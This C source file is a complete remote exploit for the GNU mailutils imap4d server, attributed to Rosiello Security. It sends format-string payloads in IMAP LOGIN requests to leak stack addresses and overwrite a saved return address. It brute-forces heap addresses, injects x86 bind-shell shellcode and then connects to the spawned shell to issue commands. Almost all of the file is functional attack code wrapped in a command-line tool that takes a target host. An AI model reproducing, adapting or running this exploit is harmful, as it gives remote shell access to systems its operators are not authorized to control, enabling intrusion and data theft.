/*
* Copyright (c) 2005 Rosiello Security
* http://www.rosiello.org
*
* Permission is granted for the redistribution of this software
* electronically. It may not be edited in any way without the express
* written consent of Rosiello Security.
*
* Disclaimer: The author published the information under the condition 
* that is not in the intention of the reader to use them in order to bring 
* to himself or others a profit or to bring to others damage.
*
* --------------------------------------------------------------------------
*
* Author: Johnny Mast
* e-mails: rave@rosiello.org 
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

//#define DEBUG

#define RETADDR (0x805d922)

#define SHELL_PORT "34563"
#define SHELL_COMMAND "uname -a; id;"
#define PORT_OFFSET 20
#define ARG_1_LENGH 180
#define ARG_3_LENGH 315


char shellcode[] =
        "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd"
        "\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a"
        "\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04"
        "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66"
        "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75"
        "\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd\x80";



void prepare(char *arg){
    int port=htons(atoi(arg)), p1, p2;
    p2 = (port & 0xff00) >> 8;
    p1 = (port & 0x00ff);
    shellcode[PORT_OFFSET] = p1;
    shellcode[PORT_OFFSET+1] = p2;
    printf("Shellcode lenght=%d; port=%d\n", strlen(shellcode), atoi(arg));
}

struct framep {
    int addr;
    unsigned short dpa_offset;
};

struct targ{
    unsigned int retloc; /* the eip */
    /*
    * possible retaddrs, we have to bruteforce a 
    * little bit to find the username field on heap 
    */
    int pretaddr[10]; 
    int ret_count;
    struct framep ebps[8];
    int ebp_count;
    int use_ebp1;
    int use_ebp2;
    unsigned short ebp1_offset; /* DPA offset of the first ebp */
    unsigned short ebp2_offset; 
    unsigned short retl_high_offset; /* DPA offset of high part of the retloc */
    unsigned short retl_low_offset; 
} target;


void usage(char *a){
    int i;

    printf("[-] Usage: %s -h <host> [options]\n", a);
    printf("[!] Options:\n");
    printf("\t\t-h\tHostname which you want attack (required)\n");
    printf("\t\t-p\tPort of the imapd (default: 143)\n");
    printf("\t\t-s\tHow long to sleep before try connect to shell (default: 1)\n");
    exit(1);
}
    
int sockprintf(int sock, const char *s, ...){
    char *ptr;
    int bytes;
    va_list arg;
    va_start(arg, s);
    if(vasprintf(&ptr, s, arg) == -1){
        free(ptr);
        return -1;
    }
    va_end(arg);
    if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){
        free(ptr);
        return -1;
    }
    free(ptr);
    return bytes;
}


int statusf(const char *s, ...){
    va_list arg;
    va_start(arg, s);
    vprintf(s, arg);
    fflush(stdout);
}


int resolv(struct sockaddr_in *addr, char *hostn){
	struct hostent *host;

    if (!inet_aton(hostn, &addr->sin_addr)){
        host = gethostbyname(hostn);
        if (host == NULL){
            printf("[-] Wasnt able to resolve %s!\n", hostn);
            return -1;
        }
        addr->sin_addr = *(struct in_addr*)host->h_addr;
    }
}


int conn(struct sockaddr_in addr, int port){
    int sock;
    
    if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
        return -1;
    }

    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;

    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
        return -1;
	}
    return sock;
}


int get_shell(struct sockaddr_in addr, int port, int sleeps){
    int sock;
    char buffer[1024];
    fd_set fds;

    sleep(sleeps);

    if((sock = conn(addr, port)) == -1)
        return (-1);
    printf("[+]\n[+] Wooohooo we got a shell!\n");
    sockprintf(sock, SHELL_COMMAND"\r\n");
    while(1){
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(sock, &fds);

        if (select(255, &fds, NULL, NULL, NULL) == -1){
            fprintf(stderr,"[-] sending failed\n");
            close(sock);
            exit(1);
        }

        memset(buffer, 0x0, sizeof(buffer));
        if (FD_ISSET(sock, &fds)){
            if (recv(sock, buffer, sizeof(buffer), 0) == -1){
                fprintf(stderr, "[-] Connection closed by remote host!\n");
                close(sock);
                exit(1);
            }
            fprintf(stderr, "%s", buffer);
        }

        if (FD_ISSET(0, &fds)){
            read(0, buffer, sizeof(buffer));
            write(sock, buffer, strlen(buffer));
        }
    }
    return 0;
}


void status(int retloc, int retloc2, int retaddr){
    static int i=1;

    switch(i){
        case 1:
            printf("[|] ");
            break;
        case 2:
            printf("[/] ");
            break;
        case 3:
            printf("[-] ");
            break;
        case 4:
            printf("[\\] ");
            i = 0;
            break;
    }
    printf("Trying retlocs [0x%x - 0x%x] retaddr [0x%x]\r", retloc, retloc2, retaddr);
    fflush(stdout);
    i++;
}


void gen_req2(char *buffer, unsigned int size, unsigned short count){
    unsigned short high, low;

    high = (target.pretaddr[count] & 0xffff0000) >> 16;
    low = (target.pretaddr[count] & 0x0000ffff);
    
    memset(buffer, 0x0, size);
    snprintf(buffer, size, "%%.%uu%%%d$hn%%.%uu%%%d$hn",
            high, target.retl_high_offset, (low-high), target.retl_low_offset, shellcode);
    buffer[size-1] = 0x0;
    if(strlen(buffer) > 135){
        printf("[-] get_info failed, this really shouldnt happen...\n");
        exit(-1);
    }
    memset(buffer + strlen(buffer), 0x41, 135 - strlen(buffer));
    strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
    memset(buffer + strlen(buffer), 0x90, 353);
    if(strlen(shellcode) > 350){
        printf("[-] The shellcode (%d bytes) is too big, maximal size is 350\n", strlen(shellcode));
        exit(-1);
    }
    memcpy(buffer + strlen(buffer) - strlen(shellcode) - 2, shellcode, strlen(shellcode));
    buffer[strlen(buffer)] = ' ';
    strncat(buffer, "BBBB", size - strlen(buffer) - 1);
}


void gen_req1(char *buffer, unsigned int size){
    unsigned short retl;
    retl = (target.retloc & 0x0000ffff);

    memset(buffer, 0x0, size);
        snprintf(buffer, size, "%%.%uu%%%d$hn__%%%d$hn",
                retl, target.ebps[target.ebp_count - 2].dpa_offset, target.ebps[target.ebp_count - 1].dpa_offset);
    buffer[size-1] = 0x0;
    if(strlen(buffer) > 135){
        printf("[-] get_info failed, this really shouldnt happen, wtf did you do?\n");
        exit(-1);
    }
    memset(buffer + strlen(buffer), 0x41, ARG_1_LENGH - strlen(buffer));
    strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
    memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
    strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}

void gen_info_req(char *buffer, unsigned int size, int offset){
    int i;

    memset(buffer, 0x0, size);
    if(offset == 0)
        for(i = 0; i < 60; i++)
            strncat(buffer, "_%p", size - strlen(buffer) - 1);
    else
        for(i = 0; i < 30; i++)
            snprintf(buffer + strlen(buffer), size - strlen(buffer), "_%%%d$p", offset+i);
    strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
    memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
    strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}


void get_infos(int sock){
    char buffer[1024], ibuffer[1024], *ptr, *ptr2;
    int i, j, bytes, ebp_count, ebps[10], ebp_tmp, offset, ret_tmp;

    gen_info_req(ibuffer, sizeof(ibuffer), 0);

#ifdef DEBUG
    printf("[D] Sending: %s\n", ibuffer);
#endif
    if(sockprintf(sock, "%s\r\n", ibuffer) == -1){
        printf("[-] Wasnt able to determine infos\n");
        exit(-1);
    }
    if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
        printf("[-] Wasnt able to determine infos\n");
        exit(-1);
    }
    buffer[bytes] = 0x0;

#ifdef DEBUG
    printf("[D] Recived: %s\n", buffer);
#endif

    memset(&target, 0x0, sizeof(target));

    ptr = buffer;
    for(i = 1; (ptr = strchr(ptr, '_')); i++){
        ptr++;
        if(!strncmp(ptr, "0xbfff", 6) && target.ebp_count < 8){
            ebp_tmp =  strtoul(ptr,NULL,0);
            if(!(ptr = strchr(ptr, '_'))){
                i++;
                continue;
            }
            ptr++;
            i++;

            if(strncmp(ptr, "0x80", 4) && strncmp(ptr, "0x080", 5) 
                   && strncmp(ptr, "0x40", 4) && strncmp(ptr, "0x040", 5))
                continue;

            for(j = 0; j < target.ebp_count; j++)
                if(target.ebps[j].addr == ebp_tmp)
                    ebp_tmp = 0x0;
            if(ebp_tmp == 0x0)
                continue;
            target.ebps[target.ebp_count].addr = ebp_tmp;
            target.ebps[target.ebp_count].dpa_offset = i - 1;
#ifdef DEBUG
            printf("[D] Found possible ebp: %p offset: %d\n", 
                    target.ebps[target.ebp_count].addr, target.ebps[target.ebp_count].dpa_offset);
#endif
            target.ebp_count++;
            continue;
        }
        /* 
         * In the function util_do_command a pointer to the username is stored. username
         * points to the second "word" of the string which we send. if we send always a 
         * string and with 4 "words", which have in each request the same lengh,
         * (word 1: 135bytes, string " LOGIN ", word 3: 353 bytes and word 4: 4 bytes,
         * we will get always the same chunk of memory from malloc. So the address where
         * username points to will always point to our 3. word, which will be in the last
         * request our shellcode.
         * The problem is, we know only that our string is on the heap, but there are a lot
         * of pointers to addresses that could be the heap. so we just copy the first 10 pointers
         * to 0x80* and try later each of them. bruteforcing 10 addresses wont take too long,
         * But it will flood the logs :/
         */
        if(target.ret_count < 10 && !strncmp(ptr, "0x80", 4) || !strncmp(ptr, "0x080", 5)){
            ret_tmp = strtoul(ptr,NULL,0);
            for(j = 0; j < target.ret_count; j++)
                if(target.pretaddr[j] == ret_tmp)
                    ebp_tmp = 0x0;
            if(ebp_tmp == 0x0)
                continue;
            target.pretaddr[target.ret_count] = ret_tmp;
#ifdef DEBUG
            printf("[D] Added %p to the possible retaddr table\n", target.pretaddr[target.ret_count]);
#endif
        target.ret_count++;
        }
    }

    target.retloc = target.ebps[0].addr + 4;
    target.use_ebp1 = target.ebp_count - 2;
    target.use_ebp2 = target.ebp_count - 1;
#ifdef DEBUG
    printf("[D] retloc: %p\n", target.retloc);
#endif

    /* 
     * when we send this, the first two bytes of where target.ebp1 und target.ebp2 point to 
     * will be overwritten with the first to bytes of target.retloc and target.retloc+2.
     * These can later be used to overwrite the saved eip of util_do_commands.
     */
    gen_req1(buffer, sizeof(buffer));
#ifdef DEBUG
    printf("[D] Press enter to continue\n");
    getchar();
#endif  
    sockprintf(sock, "%s\r\n", buffer);
#ifdef DEBUG
    printf("[D] Sent: %s\n", buffer);
#endif
    memset(buffer, 0x0, sizeof(buffer));
    while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0))){ 
        buffer[bytes] = 0x0;
        if(strstr(buffer, "\r\n"))
            break;
    }
    for(i = 0, offset = target.ebps[target.ebp_count - 2].dpa_offset; i < 4; i++){
        gen_info_req(ibuffer, sizeof(ibuffer), offset);
        sockprintf(sock, "%s\r\n", ibuffer);
#ifdef DEBUG
        printf("[D] Sent ibuf: %s\n", ibuffer);
#endif
        if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){ 
            printf("[-] Wasnt able to determine infos\n");
            exit(-1);
        }
        buffer[bytes] = 0x0;
#ifdef DEBUG
        printf("[D] Recived ibuf: %s\n", buffer);
#endif
        ptr = buffer;
        for(j = 1; (ptr = strchr(ptr, '_')); j++){
            ptr++;
            if(target.retl_low_offset == 0 && strtoul(ptr, NULL, 0) == target.retloc)
                target.retl_low_offset = j + offset - 1;
            else if(target.retl_high_offset == 0&& strtoul(ptr, NULL, 0) == target.retloc + 2 )
                target.retl_high_offset = j + offset - 1;
        }

#ifdef DEBUG
        printf("rl low: %d rl high %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
        if(target.retl_low_offset != 0 && target.retl_high_offset != 0)
            break;
        offset += 30;
    }
    if(target.retl_low_offset == 0 || target.retl_high_offset == 0){
        printf("[-] Wasnt able to find retloc on stack\n");
        exit(-1);
    }
#ifdef DEBUG
    printf("[D] Retloc low offset: %d Retloc high offset: %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
}

 
int main(int argc, char **argv){
    char *payload = NULL, *hostn = NULL, buffer[1024], *ptr;
    int i, first, sock, opt, port = 143,
        shell_port = atoi(SHELL_PORT), sleeps = 1, 
        p_size=10000, vulncheck = 1, bytes; 
    fd_set fds;
	struct sockaddr_in addr;

    int p1, p2, ip1, ip2, ip3, ip4, sport;
    char *back = "192.168.1.2";
    sport = atoi(SHELL_PORT);
    
  
    printf("[!] mailutils imapd4d universal(?) exploit 0.5 by rave\n");

    if (argc < 2)
        usage(argv[0]);
    
    while ((opt = getopt (argc, argv, "h:p:t:s:P:S:c:vV")) != -1){
        switch (opt){
	        case 'h':
	            hostn = optarg;
	            break;
	        case 'p':
                port = atoi(optarg);
                if(port > 65535 || port < 1){
                    printf("[-] Port %d is invalid\n",port);
                    return 1;
                }
                break;
            case 's': 
                sleeps = atoi(optarg);
                break;
            case 'P': 
                prepare(optarg);
                break;
            case 'c':
                back = optarg;
                break;
            case 'V':
                vulncheck = 0;
                break;
        	default:
                usage(argv[0]);
        }
    }

    if(hostn == NULL)
        usage(argv[0]);


    resolv(&addr, hostn);

    printf("[!] Connecting to %s\n", hostn);

    if((sock = conn(addr, port)) == -1){
        printf("[-] Connecting failed!\n");
        return -1;
    }
    printf("[+] Connected!\n");

    recv(sock, buffer, sizeof(buffer), 0);
    get_infos(sock);
    printf("[+] We got all infos, which we need, lets start!\n");

    close(sock);

    for(i = 0; i < target.ret_count; i++) {
        statusf("[%d] Trying retaddr %p\r", i+1, target.pretaddr[i]);
        if((sock = conn(addr, port)) == -1){
            printf("[-] Connecting failed!\n");
            return -1;
        }
        if(!(bytes = recv(sock, buffer, sizeof(buffer), 0))){
            printf("[-] Wasnt able to recive data from server\n");
            exit(-1);
        }
        gen_req1(buffer, sizeof(buffer));
        sockprintf(sock, "%s\r\n", buffer);
        while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
            buffer[bytes] = 0x0;
            if(strstr(buffer, "\r\n"))
                break;
        }
        gen_req2(buffer, sizeof(buffer), i);
#ifdef DEBUG
        printf("[D] Press enter to continue\n");
        getchar();
#endif  
        sockprintf(sock, "%s\r\n", buffer);
        while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
            buffer[bytes] = 0x0;
            if(strstr(buffer, "\r\n"))
                break;
        }
#ifdef DEBUG
        printf("[D] Press enter to continue\n");
        getchar();
#endif
        close(sock);
        get_shell(addr, 5074, 1);
    }
    printf("[-] Exploit failed\n");
    return 0;
}
